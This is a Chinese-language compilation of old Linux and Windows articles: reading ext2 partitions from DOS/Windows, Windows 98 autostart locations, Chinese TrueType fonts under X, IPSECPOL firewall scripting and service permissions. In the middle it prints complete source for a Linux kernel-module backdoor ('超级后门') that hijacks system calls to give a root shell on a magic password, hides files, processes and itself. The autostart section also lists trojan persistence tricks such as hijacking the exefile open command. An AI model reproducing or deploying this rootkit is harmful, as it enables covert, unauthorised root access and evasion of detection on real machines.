    Linux内核支持众多的文件系统类型,目前它可以读写(至少是读)大部分的文件系统.Linux经常与Microsoft Windows共存于一个系统或者硬盘中.Linux对windows9x/NT 的
文件系统支持的很好,反之你想在windows下用Visual C++ 编程的同时能看一看Linux的GCC-HOWTO则必须得费点劲.本文试图给你一个简单的帮助.
    这份HOWTO是免费文件(free documentation);你可以在FSF出版的GNU GPL之规定下重新散播及/或修改它;您可以自由决定适用GPL 2.0 或之後的任何版本.
    希望这份文件的发布能对您有帮助，我们不提供任何保证,即使是商业上或某特殊 用 途 的 隐 含 保 证 亦 然. 详 情 请 参 见 GNU 一 般 公 开 授 权 书.
    本文在不影响理解的前提下，不区分文件系统和分区的概念.

    1. Linux存取 FAT/FAT32/NTFS 分区.
    Linux 内核应至少支持 fat/msdos文件系统(安装后). vfat文件系统一般编译为
Module ,可以用 modprobe vfat 装入. ntfs 在版本较高的内核里可以支持. 如果你用 的是2.0.3?, 就需要到这ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ntfs.tar.gz下载一份回来,然 后patch到内核中再编译.
    fat/vfat 分区可以 mount成可读写的文件系统(rw). ntfs分区目前只能mount成只
读(ro)的文件系统。

    2. Microsoft 存取ext2分区.
    2.1. EXT2 TOOLS v1.1
    EXT2 TOOLS 是一组在DOS下可以让你读 LINUX EXT2 文件系统的工具包. 它由以下 程序组成:
    E2CAT 类似于 Linux的 cat命令
    E2CD 类似于 Linux的 cd 命令
    E2CP 类似于 Linux的 cp命令
    E2LS 类似于 Linux的 ls命令
    E2PART 列出硬盘的分区信息
    E2PWD 类似于 Linux的 pwd命令
    EXT2 TOOLS是 GNU General Public License软件,版权所有(C) 1995 Claus Tondering (ct@login.dknet.dk),

    ext2tool_1_1.zip可以从ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ext2/处匿名下载.

    现 在 所 有 的 程 序 已 在 GCC 下 编 译, (DOS 下) 运 行 时 需 要 GO32 DOS
扩 展 程 序GO32.EXE. GO32.EXE 包 含 在 EXT2TOOLS 的 发 布 中，做 为DJGPP 的 一 部 分， GO32.EXE 还 可 以 从 ftp://oak.oakland.edu/SimTel/venders/djgpp
匿名下载.

    2.1.1. 安装 EXT2 TOOLS
[MSDOS]
>mkdir c:\ext2l
>pkunzip -d ext2tool_1_1.zip
>dir

    2.1.2. 运行 EXT2 TOOLS
    在运行前设置环境变量:

> SET E2CWD=129:5
或
> SET E2CWD=129:5:234
| | | |__目录的i节点号,缺省为根i节点号2.
| | |_____ EXT2文件系统的LINUX分区.
| |________物理硬盘的代号:
| 0: A软驱
| 1: B软驱
| 128:第一块硬盘
| 129:第二块硬盘
|_____________环境变量

    保证 GO32.EXE 在系统PATH中.
    运行 e2ls 命令就能列出第二块硬盘的第五分区的文件系统.
    运行 e2part 129 命令能列出第二块硬盘的分区情况.

    2.1.3. EXT2 TOOLS 可以在Microsoft Windows3x/9x 下运行, Peeter Joot (peeter@accessv.com, peeter_joot@vnet.ibm.com)把EXT2 TOOLS移植到 NT上. EXT2 TOOLS之 NT版ext2nt-1.06.tar.gz可以从

    ftp://sunsite.unc.edu/pub/Linux/utils/dos/ 处 下 载, 安 装 和 使 用 方 法 类 似.

    2.1.4 存在的问题
    第三块硬盘(IDE)和SCSI硬盘支持否因机器而异.可用与否取决于系统是否依赖中断13访问硬盘.

    2.1.5 命 令 用 法 # Will translate into chinese soon.
# Sorry for my laziness.
E2CAT
-----

SYNOPSIS
E2CAT [-bt] pathname

DESCTIPTION
The E2CAT program will copy the contents of the file
identified by ext2 pathname to the standard output.

The following options are available:

-b Binary mode. No translation performed.

-t Text mode (default). LF translated to CR/LF.

E2CD
----

SYNOPSIS
E2CD pathname

DESCRIPTION
The pathname must identify an ext2 directory. That
directory is made the current working directory.

NOTE
E2CD is a .BAT file that creates another .BAT file
(called ___E2CD.BAT) that modifies the E2CWD envir-
onment variable. It then executes ___E2CD.BAT and
deletes it. (So beware if you already have a file
called ___E2CD.BAT.)

For use with 4DOS, an E2CD.BTM file is also included.
4DOS will use that instead of E2CD.BAT.

E2CP
----

SYNOPSIS
E2CP [-bt] file1 file2

DESCTIPTION
The E2CP program will copy the contents of the file
identified by ext2 pathname 'file1' to the MSDOS file
'file2'.

The following options are available:

-b Binary mode (default). No translation performed.

-t Text mode. LF translated to CR/LF.

E2LS
----

SYNOPSIS
E2LS [-adiltr] pathname ...

DESCRIPTION
The pathnames may identify ext2 directories or files.
Wildcard characters (*, [], ?, etc.) may be used in a
manner similar to what the Linux shell allows.

The E2LS program provides a directory listing of the
specified pathnames in a manner similar to the Linux
ls program.

The following options are supported:

-a Include file names starting with . in listing.
-d List only pathname, even if it is a directory.
-i Include inode number in listing.
-l Produce a long listing.
-t Sort by modification time.
-r Reverse the sort order.

E2PART
------

SYNOPSIS
E2PART diskno

DESCRIPTION
The E2PART program lists the partitions that are
available on a particular physical disk. This program
does not use the E2CWD environment variable, instead
the disk number is given as an argument to the E2PART
program.

BUGS
The program is not very good at identifying MSDOS file
systems.

E2PWD
-----

SYNOPSIS
E2PWD

DESCRIPTION
The E2PWD program prints the current directory.

    2.2. LREAD 2.3
    另一个DOS下读LINUX EXT2 文件系统的软件. LREAD是GPL自由软件. v1.0由Jason Hunter and David Lutz 开 发. V2.X 由 Werner Zimmermann 修改.lread-2.23.zip 可 以从 ftp://sunsite.unc.edu/pub/Linux/utils/dos/处匿名下载.

    2.2.1. 安装LREAD
    十分简单, 只要在DOS下把LREAD-2.3.zip 解开到相应目录,就会发现原码和二进制
程序ldir和lread,一般无须编译和配置就能运行. LREAD在windows 3x/9x 能运行.
    2.2.3. 命 令 用 法
命令 ldir [-h | -v] [-s/dev/hd..] [Linux_Directory]列出 ext2 (文件系统)目录
---- 选 项:
---- -h 帮助信息
---- -v 版本信息
---- -s 指定目录所在的硬盘分区,例如/dev/hda5. 缺省值在ldir.h 中指定. 支持软 驱:/dev/fd?. 如果仅指定/dev/hda 或 /dev/hdb, 不给出路经,ldir 将要搜索此驱动器 上的第一个LINUX分区. 须指出, 若省缺选项 -s/dev/...,ldir 会用它在编译时预先指定的硬盘( 通 常 为/dev/hda).ldir 支持SCSI 硬盘分区. 相应上述选项可用/dev/sda
和/dev/sda3.Linux_Directory 要列出的目录名. 省略的话, 则 用'/'. 全LINUX 路经 名定界符用'/'( NOT '\'), 支持匹配符,大小写敏感.

    命令 lread [-h | v] [-s/dev/hd..] Linux_File [DOS_File]

列出Linux文件或复制到DOS中.
选项
-h帮助信息
-v版本信息
-s参见ldir
    Linux_File 合法的 UNIX源文件名. DOS_File 合法的 DOS目的文件名.省略的话,输出到标准输出(STDOUT)上.

    2.3 目前最实用的GPL软件是FSDEXT2
    Copyright (C) 1997 by Peter van Sebille.
    此软件只能在win32下运行,可以把相应的linux ext2 分区mount 成在windows下只 读的盘,使用极为方便.
    2.3.1 安 装 FSDEXT2
    展开95ext2fs.zip 到一个目录比如 c:\fsdext,运行install.bat 或直接拷贝相关 驱动程序到相应目录:
vext2d.vxd - > c:\windows\system
tsdext2.vxd - > c:\windows\system\iosubsys

添加 c:\fsdext到系统 PATH后重启动.

    2.3.2 Mount/Umount Linux Ext2 文件系统
    运行c:\fsdext\mount.exe命令就可以把 Linux ext2分区mount成逻辑分区.

mount /dev/hdb1 g 安上相应分区
| |__ DOS逻辑盘符 d , e, f ...
|
|_________ Linux下相应设备名*

mount /u g 卸掉相应分区

    2.3.3. * 存在的问题
    假如你的PC 有两块IDE 硬盘和一个IDE光驱.

硬件 | 插槽 | M/S | Linux设备名
------------------------------------------------
第一块硬盘 IDE0 Master /dev/hda
第二块硬盘 IDE1 Master /dev/hdc
光驱 IDE1 Slave /dev/hdd

    想把Linux ext2分区/dev/hdc1 mount到windows 9X下时必须用mount /dev/hdb1 g
而不是mount /dev/hdc1 g !!

    2.3.4. 命令用法(mount /?) :

Ext2 file system mount for Windows 95
Version 0.17 by Peter van Sebille
Usage: MOUNT [[devicename] driverletter] [options]
options:
/r: relax partition ID check when mounting
/u: unload drive (drive letter required)
/d: get current debug level
/d=value: set current debug level
/?: show usage

    3. 比 较
    软件Microsoft平台 易用性 GPL
-----------------------------------------------
ext2 tool DOS/windows9x/NT ++ 是
lread DOS/windows9x ++ 是
95ext2fs windows9x +++ 是


在windows98下自动启动程序的10种方法

By 阿权 cners@cners.com 整理 catsun 检验
大家好！整理了一些在windows下自动启动程序的方法给大家。

1. Autostart 文件
C:\windows\start menu\programs\startup {chinese/english}
C:\windows\Menu D閙arrer\Programmes\D閙arrage {french}
在注册表中的位置： HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders Startup="C:\windows\start menu\programs\startup"
所以它将很容易被程序更改

2. Win.ini
[windows]
load=file.exe
run=file.exe

3. System.ini [boot]
Shell=Explorer.exe file.exe

4. c:\windows\winstart.bat
看似平常，但每次都重新启动

5. Registry键
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]

6. c:\windows\wininit.ini
一旦运行就被windows删除，安装的setup程序常用
Example: (content of wininit.ini)
[Rename]
NUL=c:\windows\picture.exe
例子：将c:\windows\picture.exe设置为NUL, 表示删除它，完全隐蔽的执行！

7. Autoexec.bat
在DOS下每次自启动

8. Registry Shell Spawning （使用过Subseven吗？看看吧）
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="\"%1\" %*"

这些"%1 %*"需要被赋值, 如果将其改为 "server.exe %1 %*",
server.exe将在每次启动时被执行，这些exe/pif/com/bat/hta等文件都可被执行

9. Icq Inet
[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]
"Path"="test.exe"
"Startup"="c:\\test"
"Parameters"=""
"Enable"="Yes"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\
当icq发现网络连接时，将被执行（我使用的icq2000b的键值有所不同，但您可以自行查找）
您发现OICQ有这方面的问题吗？^_^...

9. 杂项说明
找找以下的键值：
[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap]
@="Scrap object" "NeverShowExt"=""

NeverShowExt 键 可以隐藏SHS文件的扩展名.shs
如果你将一个文件改名为："abc.jpg.shs" 它只显示"abc.jpg"
如果你的注册表里有很多NeverShowExt键值，删除他们。


在X window下使用中文 TrueType 字库

0. 你需要已经安装了 freetype-1.1
1. 取来 XFree86-3.3.2 的源程序: X332src-1.tgz
或 X332src-1.tar.bz2
2. 取来 xtt-1.0.tar.gz (地址自己搜去吧)
3. (optional)
如果你想用 GBK 码, 取来
ftp://ftp.ihep.ac.cn/pub/chinese/packages/xtt-1.0-gb13000.diff
4.
tar zxvf xtt-1.0.tar.gz
5.
xtt-1.0/ext-xfs.sh X332src-1.tgz
(如果是用X332src-1.tar.bz2 就把 ext-xfs.sh 中的'gzip' 改成 'bzip2')
6.
cd xc
patch -p1 -t < ../xtt-1.0/xtt-1.0.diff
7. (optional)同样在 xc/ 目录里
patch -p1 -t < ../xtt-1.0-gb13000.diff
8. 在 xc/ 目录里
make xfs
make install
9.
mkdir /usr/X11R6/lib/X11/fonts/FreeType
cp /dos/windows/fonts/simsun.ttf /usr/X11R6/lib/X11/fonts/FreeType
cp /dos/windows/fonts/simhei.ttf /usr/X11R6/lib/X11/fonts/FreeType
cd /usr/X11R6/lib/X11/fonts/FreeType
创建文件fonts.dir如下:

8
simsun.ttf -freetype-song-medium-r-normal--0-0-0-0-c-0-gb2312.1980-0
ai=0.3:simsun.ttf -freetype-song-medium-i-normal--0-0-0-0-c-0-gb2312.1980-0
simhei.ttf -freetype-song-bold-r-normal--0-0-0-0-c-0-gb2312.1980-0
ai=0.3:simhei.ttf -freetype-song-bold-i-normal--0-0-0-0-c-0-gb2312.1980-0
simsun.ttf -freetype-song-medium-r-normal--0-0-0-0-c-0-gb13000.1993-1
ai=0.3:simsun.ttf -freetype-song-medium-i-normal--0-0-0-0-c-0-gb13000.1993-1
simhei.ttf -freetype-song-bold-r-normal--0-0-0-0-c-0-gb13000.1993-1
ai=0.3:simhei.ttf -freetype-song-bold-i-normal--0-0-0-0-c-0-gb13000.1993-1

10.
修改 /usr/X11R6/lib/X11/fs/config, 如下:

# font server configuration file
# $XConsortium: config.cpp,v 1.7 91/08/22 11:39:59 rws Exp $

clone-self = on
use-syslog = off
catalogue = /usr/X11R6/lib/X11/fonts/FreeType/
deferglyphs = 16
error-file = /usr/X11R6/lib/X11/fs/fs-errors
# in decipoints
default-point-size = 120
default-resolutions = 75,75,100,100

实际上只修改了 catalogue , 增加了 deferglyphs 一行
11.
启动 xfs :
/usr/X11R6/bin/xfs &

可以把它放进 /etc/rc.d/rc.local 或其他相应的系统启动文件中

12.
以 -deferglyphs 16 参数启动 X Server

startx -- -deferglyphs 16

(可修改 /usr/X11R6/bin/startx 文件最后一行为
xinit $clientargs -- -deferglyphs 16 $serverargs
一劳永逸)
或如果是用xdm, 修改/usr/X11R6/lib/X11/xdm/Xservers 文件
一定要用 -deferglyphs 16 参数启动 X Server

13.
xset fp+ tcp/localhost:7100

(如果把下行加进 XF86Config (通常在/etc或/etc/X11 目录下)则无须执行
xset 手动加:

FontPath "tcp/localhost:7100"

14.
检查一下

xlsfonts|grep freetype
-freetype-song-bold-i-normal--0-0-0-0-c-0-gb13000.1993-1
-freetype-song-bold-i-normal--0-0-0-0-c-0-gb2312.1980-0
-freetype-song-bold-r-normal--0-0-0-0-c-0-gb13000.1993-1
-freetype-song-bold-r-normal--0-0-0-0-c-0-gb2312.1980-0
-freetype-song-medium-i-normal--0-0-0-0-c-0-gb13000.1993-1
-freetype-song-medium-i-normal--0-0-0-0-c-0-gb2312.1980-0
-freetype-song-medium-r-normal--0-0-0-0-c-0-gb13000.1993-1
-freetype-song-medium-r-normal--0-0-0-0-c-0-gb2312.1980-0

OK!!! 完成!!! 支持无级缩放, 自动斜体, 黑体, 只加载用到的汉字的
中文TrueType font server 安装成功!!!


在给个后门linux

/********************************************************
* 超级后门 1.2 for Linux *
* writen by sunx *
* door port 21,23,79,110,512 *
* anyone dont modify it *
*********************************************************
* *
* gcc -O2 -c sunxkdoor.c *
* gcc -O2 -c -D__SMP__ sunxkdoor.c *
* insmod sunxkdoor *
* *
*********************************************************
* telnet 192.168.0.21 23 *
* login: sunxkdoor *
* telnet 192.168.0.21 23 *
* sh# *
* *
*********************************************************
* hide dir and file named "... " or "sunxdoor" *
* *
* kill -50 pid //hide ps *
* kill -51 pid //unhide ps *
* kill -52 0 //hide all hidden process *
* kill -53 0 //unhide all hidden process *
* kill -60 0 //inc module usecount *
* kill -61 0 //dec module usecount *
*********************************************************/

/*
for redhat 7
kgcc -O2 -c -D__SMP__ -I/usr/src/linux/include -include /usr/src/linux/include
/linux/modversions.h sunxkdoor.c
*/

#define __KERNEL__
#define MODULE
#define MODVERSIONS

#define S_KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))

#include <linux/modversions.h>
#include <sys/syscall.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <asm/segment.h>
#include <linux/mm.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>

#if LINUX_VERSION_CODE < S_KERNEL_VERSION(2,2,0)
#define OLD_KERNEL
#define copy_from_user memcpy_fromfs
#define copy_to_user memcpy_tofs
#else
#include <asm/uaccess.h>
#endif

#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM set_fs(old_fs);}

#define SIGHIDE 50
#define SIGUNHIDE 51
#define SIGHIDEALL 52
#define SIGUNHIDEALL 53
#define SIGINCMODUSECOUNT 60
#define SIGDECMODUSECOUNT 61

#define HIDEDIR "... "
char *PASS = "sunxkdoor";
char *MODNAME="sunxkdoor";

char *SHELL = "/bin/sh";

char *LOGIN[] = {
"/bin/login",
"/usr/sbin/in.ftpd",
"/usr/sbin/in.rexecd",
"/usr/sbin/in.qpopper",
"/usr/sbin/in.fingerd",
"/usr/sbin/ipop3d",
0};

extern void *sys_call_table[];

/* this functions will we replace */
int (*o_read)(int, char*, int);
int (*o_execve)(struct pt_regs regs);
int (*o_exit)(int);

int (*o_kill)(pid_t, int);
int (*o_getdents)(uint, struct dirent *, uint);
pid_t (*o_fork)(struct pt_regs);

#ifndef OLD_KERNEL
struct module * nextmodule;
struct module * m = &__this_module;
#endif

int processid = -1;
int give_shell = 0;
static char strlogin[64];
int strloginlen = 0;
int shelltype = 0;

int n_read(int fd, char *s, int len)
{
int r = 0;
int i, ii;

r = o_read(fd, s, len);

if(r <= 0) return r;

if(fd != 0) return r;

if(current->pid != processid) return r;

if(r > 30 )
i = 30;
else
i = r;

#ifdef OLD_KERNEL
for(ii=0; ii < i ;ii++)
strlogin+ii = get_user(s+ii);
#else
copy_from_user(strlogin, s, i);
#endif

strlogin[i]=0;

for(ii=0; ii < i;ii++)
{
if(strlogin[ii] != PASS[strloginlen])
{
processid = -1;
strloginlen=0;
return r;
}
strloginlen ++;
if(PASS[strloginlen]==0)
{
processid = -1;
strloginlen=0;
give_shell = 1;
o_exit(0);
}
}

return r;

}

int n_exec(struct pt_regs regs)
{
int error = 0;
int i;

char *filename = NULL, **argv;

#ifdef OLD_KERNEL
getname((char*)regs.ebx, &filename);
#else
filename = getname((char*)regs.ebx);
#endif

for(i=0; LOGIN[i]!=0; i++)
if(strcmp(filename, LOGIN[i]) == 0)
{
if((give_shell) && (shelltype == i))
{
give_shell = 0;
processid = -1;
strcpy(filename, SHELL);
argv = (char**)regs.ecx;
put_user(0, argv + 1);
}else
{
shelltype = i;
processid = current->pid;
}
}

error = do_execve(filename, (char**)regs.ecx,
    (char**)regs.edx, ?s);
putname(filename);
return error;

}

#define PF_INVISIBLE 0x10000000

static int is_hideproc(pid_t pid)
{
struct task_struct *t = current;
while(1)
{
if(t->pid == pid) break;
t = t->next_task;
if(t == current) break;
}
if(t->pid != pid) return 0;
return (t->flags & PF_INVISIBLE);
}

int n_getdents(unsigned int fd, struct dirent
    *dirp, unsigned int count)
{
unsigned int r, n;
int proc = 0;
int i;
struct inode *dinode;
struct dirent *mydirp, *p_dirp;

r = (*o_getdents) (fd, dirp, count);
if(!r) return -r;

#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

if( (dinode->i_ino == PROC_ROOT_INO) &&
(!MAJOR(dinode->i_dev)) && MINOR(dinode->i_dev) == 1
)proc = 1;

mydirp = (struct dirent *) kmalloc(r, GFP_KERNEL);
copy_from_user(mydirp, dirp, r);
p_dirp = mydirp;

i = r;
while (i > 0)
{
n = p_dirp->d_reclen;
i -= n;

if(
(proc && is_hideproc(simple_strtoul(p_dirp->d_name, NULL, 10)))
    ||
(strstr((char *) &(p_dirp->d_name), HIDEDIR)) ||
(strstr((char *) &(p_dirp->d_name), MODNAME))

)
{
if (i != 0)
memmove(p_dirp, (char *) p_dirp + p_dirp->d_reclen, i);
else
p_dirp->d_off = 1024;

r -= n;
}

if (p_dirp->d_reclen == 0)
{
r -= i;
i = 0;
}

if (i != 0)
p_dirp = (struct dirent *) ((char *) p_dirp + p_dirp->d_reclen);
}

copy_to_user(dirp, mydirp, r);
kfree(mydirp);
return r;
}

pid_t n_fork(struct pt_regs regs)
{
pid_t pid;
int hideit;
struct task_struct *t = current;

pid = (*o_fork)(regs);

while(1)
{
if(t->pid == pid) break;
t = t->next_task;
if(t == current) break;
}

if( (t->pid == pid) && is_hideproc(current->pid))
    t->flags |= PF_INVISIBL
E;

return pid;
}

int n_kill(pid_t pid, int sig)
{
int ret;
struct task_struct *t = current;

if(sig != SIGHIDE && sig != SIGUNHIDE
    && sig != SIGHIDEALL && sig != SIGUNHI
DEALL
&& sig != SIGDECMODUSECOUNT && sig != SIGINCMODUSECOUNT)
{
ret = (*o_kill)(pid, sig);
return ret;
}
if((sig == SIGHIDEALL || sig == SIGUNHIDEALL || sig == SIGDECMODUSECOUNT ||
sig == SIGINCMODUSECOUNT)
&& (pid != 0))
{
ret = (*o_kill)(pid, sig);
return ret;
}

if(current->euid != 0) return -EPERM;

if(sig == SIGHIDEALL)
{
t = current;
while(1)
{
if(t->pid > 300) t->flags |= PF_INVISIBLE;
t = t->next_task;
if(t == current) break;
}
return 0;
}
if(sig == SIGUNHIDEALL)
{
t = current;
while(1)
{
if(t->pid > 300) t->flags &= ~PF_INVISIBLE;
t = t->next_task;
if(t == current) break;
}
return 0;
}
if(sig == SIGINCMODUSECOUNT)
{
atomic_inc(&m->uc.usecount);
}
if(sig == SIGDECMODUSECOUNT)
{
atomic_dec(&m->uc.usecount);
}

while(1)
{
if(t->pid == pid) break;
t = t->next_task;
if(t == current) break;
}
if(t->pid != pid) return -ESRCH;
switch(sig)
{
case SIGHIDE:
t->flags |= PF_INVISIBLE;
break;

case SIGUNHIDE:
t->flags &= ~PF_INVISIBLE;
break;
default:
break;
}

return 0;
}

/* redirect the syscalls */
int init_module(void)
{
#ifdef OLD_KERNEL
register_symtab(NULL);
#else
EXPORT_NO_SYMBOLS;
#endif

o_execve = sys_call_table[SYS_execve];
o_read = sys_call_table[SYS_read];
o_exit = sys_call_table[SYS_exit];

o_getdents = sys_call_table[SYS_getdents];
o_fork = sys_call_table[SYS_fork];
o_kill = sys_call_table[SYS_kill];

sys_call_table[SYS_execve] = n_exec;
sys_call_table[SYS_read] = n_read;
sys_call_table[SYS_getdents] = n_getdents;
sys_call_table[SYS_fork] = n_fork;
sys_call_table[SYS_kill] = n_kill;

#ifndef OLD_KERNEL
if ( ( m != NULL ) && ( m->init == init_module ) )
{
nextmodule = m->next;
m->name = m->next->name;
m->next = m->next->next;
atomic_inc(&m->uc.usecount);
}
#endif

return 0;
}

int cleanup_module(void)
{
sys_call_table[SYS_execve] = o_execve;
sys_call_table[SYS_read] = o_read;

sys_call_table[SYS_getdents] = o_getdents;
sys_call_table[SYS_fork] = o_fork;
sys_call_table[SYS_kill] = o_kill;

#ifndef OLD_KERNEL
m->next = nextmodule;
#endif

return 0;
}


在命令行下修改策略

用 IPSECPOL.EXE 编写策略的脚本

DanceFires 于 2001-12-12 17:15:19 加贴在 绿盟科技论坛(bbs.nsfocus.com)--WinNT安全：

多谢Adam指点，否则我都不知道去找什么：）

用 IPSECPOL.EXE 编写策略的脚本
[摘自微软站点]

IPSECPOL.EXE 包括在 Windows 2000 Resource Kit 中，它是一个用于创建、指派和删除 IPSec 策略的命令行实用程序。IPSECPOL.EXE 非常灵活，它可在 Active Directory 以及本地和远程注册表中创建动态和静态策略。有关完整信息，请参阅 Resource Kit 中的文档。此处，将在本地计算机的注册表中创建静态策略。

IPSECPOL.EXE 有许多参数，它的语法开始时不易理解。但是，如果您按照此处提供的示例操作，则可用三个命令复制以前的 GUI 示例中显示的全部配置。您可能希望在每个命令之后打开 MMC 并刷新其显示，以便验证该命令按照预期方式执行。让我们开始吧。

第一个命令（如下所示）创建新策略、在策略中添加规则并在规则中添加两个筛选器列表和一个筛选器操作。

ipsecpol –w REG –p“数据包筛选器” –r“入站 Web 协议”
-f *+131.107.1.1:80:TCP –f *+131.107.1.1:443:TCP –n PASS

该命令按两行显示以便于打印，请按一行输入。其中包括以下参数：

–w REG — 向注册表中写入静态策略。这与使用 MMC 完全相同。
–p“数据包筛选器” — 创建名为“数据包筛选器”的策略。
–r“入站 Web 协议” — 创建名为“入站 Web 协议”的规则。
-f *+131.107.1.1:80:TCP — 添加筛选器，其中 * 指定任何源地址和任何端口，131.107.1.1:80 指定目标地址（服务器本身的地址）和特定端口，:TCP 指定协议，+ 指明筛选器已被镜像。
–f *+131.107.1.1:443:TCP — 除了目标地址为 443 以外，与上述参数相同。
–n PASS — 传递通信而不协商安全。
请注意，-w、-f 和 -n 参数的值区分大小写，只使用大写！

您可以包括任意多个筛选器。切记以前对基于角色的筛选器列表的讨论，如果您的服务器运行多个服务，则应该针对每类筛选器使用单独的 IPSECPOL.EXE 命令。例如，以下命令可允许端口 110、995、143、993 和 25 的入站连接，并允许端口 25 到任何地方的出站连接。

ipsecpol –w REG –p “数据包筛选器” –r“入站/出站邮件”
-f *+131.107.1.1:110:TCP –f *+131.107.1.1:995:TCP
-f *+131.107.1.1:143:TCP –f *+131.107.1.1:993:TCP
-f *+131.107.1.1:25:TCP –f 131.107.1.1+*:25:TCP
–n PASS

（最后一个筛选器 –f 131.107.1.1+*:25:TCP 看上去稍有不同。它允许从服务器自身地址上的任何端口发起、到任何服务器上 25 端口的出站连接。该筛选器允许服务器启动到 Internet 的出站 SMTP 连接。}

下一个命令创建匹配并阻止所有通信的一般规则：

ipsecpol –w REG –p“数据包筛选器” –r“所有入站通信”
-f *+131.107.1.1 –n BLOCK

其中包括以下参数：

–w REG — 向注册表中写入静态策略。这与使用 MMC 完全相同。
–p“数据包筛选器” — 添加到名为“数据包筛选器”的现有策略中。
–r“所有入站通信” — 创建名为“所有入站通信”的规则。
-f *+131.107.1.1 — 添加筛选器，其中，* 指定任何源地址和任何端口，131.107.1.1 指定目标地址和任何端口，协议空缺意味着使用任何协议，+ 并指明筛选器已被镜像
–n BLOCK — 阻止通信。
最后一个命令指派策略：

ipsecpol –w REG –p“数据包筛选器” –x

其中包括以下参数：

–w REG — 向注册表中写入静态策略。这与使用 MMC 完全相同。
–p“数据包筛选器” — 添加到名为“数据包筛选器”的现有策略中。
–x — 指派策略。
这就是所有的命令。那么，利用三个命令，您已经完成了与使用 GUI 所完成的相同的任务。在服务器编译脚本中添加 IPSECPOL.EXE 支持时，切记在完全创建服务器之前，您可能不希望实际指派策略。因此脚本中应该只包括 -n PASS 和 -n BLOCK 命令；在所有的服务器安装完毕后，可使用以下形式的命令远程指派策略：

ipsecpol \\机器名 –w REG –p "策略名" –x

您需要具备该命令中指定机器的管理权限。如果需要临时取消对策略的指派，请用 -y 替换 -x。

您可用以下命令删除整个策略（包括所有相关的筛选器列表和筛选器操作）：

ipsecpol –w REG –p "策略名" –o

如果您的服务器创建过程允许您动态更改服务器的角色（无需重新启动），则这将很有用。删除现有的策略，然后创建和指派新策略。如果您希望远程编写在所有服务器上创建策略的脚本，则可向所有形式的命令中添加 \\主机名。

GUI 和 IPSECPOL.EXE 的区别。 是的，二者存在一些区别，但只与某些内容在 GUI 中显示的方式有关。

无法禁用默认响应规则，但是在数据包筛选器示例中，这确实无关紧要，因为传入的连接不是始终被允许就是始终被阻止。
规则名用作筛选器列表名。
-n PASS 和 -n BLOCK 命令不使用现有的允许和阻止（如果在 GUI 中已创建它）操作；而是为每个规则创建新的允许或阻止操作，并将新操作命名为“规则列表名 negpol”。
在每个筛选器操作的属性中，存在安全方法的默认列表，但是，因为不存在实际的安全协商，所以该列表将被忽略。
用 -o 命令删除策略时还将删除与之相关的筛选器列表和筛选器操作。在 GUI 中删除策略时并不删除与之相关的筛选器列表和筛选器操作。
那么，这是否确实有效？
总之，这确实有效。在 Windows 2000 发布后不久，一个流行的行业杂志测试了许多 Web 服务器的安全性。Microsoft 应邀参加了该测试。我们创建了一个启用 Internet Information Services 5.0 的 Windows 2000 Server。为保护服务器，我们所做的一切就是为管理员帐户添加了一个密码并创建了一个象此处示例中那样的 IPSec 策略。服务器直接连接到 Internet，并幸免于几周内尝试进行的攻击。

当然，该测试是在当前的 IIS 5.0 弱点被发现之前进行的。请理解，此处描述的步骤不会使您免受允许的协议和端口上进行的攻击。一定要访问 http://www.microsoft.com/technet/security/current.asp 并安装与您的环境相关的修补程序。

Internet 协议安全 (IPSec) 循序渐进指南：
http://www.microsoft.com/china/technet/windows2000/win2ksrv/technote/ispstep.asp
使用 IPSec 锁定服务器：
http://www.microsoft.com/CHINA/TechNet/windows2000/win2ksrv/ipsecld.asp


怎样限制服务的权限

2000下面的服务默认是Everyone完全控制的，这就造成了2000下面的安全隐患，记得某款清除日志的软件就是靠停掉IIS服务来达到删除日志记录的目的吧；另外如果服务器的服务不限制权限的话万一你的服务器有什么漏洞，就算对方没有拿到管理员的权限…想必大家也都清楚意味着什么了吧。

方法一:使用组策略
1、管理工具－Active Directory用户和计算机
2、右键点击域－创建新的组织单位
3、右键点击新建的组织单位选择属性
4、选择组策略
5、创建新的组策略，进行编辑
6、计算机配置－Windows设置－安全设置－系统服务
7、双击你需要设置权限的服务
8、定义这个策略是个设置－编辑安全设置（默认是Everyone完全控制）
9、删除Everyone组，添加System组和其他有访问权限的用户。
